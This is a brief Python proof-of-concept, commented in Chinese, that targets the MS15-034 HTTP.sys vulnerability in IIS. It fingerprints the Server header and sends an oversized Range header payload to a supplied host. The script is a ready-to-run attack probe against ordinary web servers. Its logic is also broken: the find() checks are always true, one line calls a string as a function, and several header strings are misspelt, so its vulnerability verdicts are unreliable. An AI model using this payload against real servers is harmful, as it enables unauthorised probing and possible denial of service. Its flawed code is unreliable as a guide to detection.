MS15-034 poc

    1. import requests
    3. url = "ip"
    5. r = requests.get(url)
    6. #获取中间件
    7. mid_server = r.headers['Server']
    8. print(mid_server)
    9. #判断中间件范围
    10. if mid_server.find("IIs/7.5") or mid_server("ISS/8.5"):
    11.     #开始检测
    12.     payload = {'HOST':'stuff','Range': 'bytes=0-18446744073709551615'}
    13.     r1 = requests.get(url,headers=payload)
    14.     if str(r1.content).find('Requestd Range Not satisfiable'):
    15.         print(url+ " 存在MS15-034漏洞")
    16.     else:
    17.         print("不存在MS15-034漏洞")
    18. else:
    19.     print("不存在")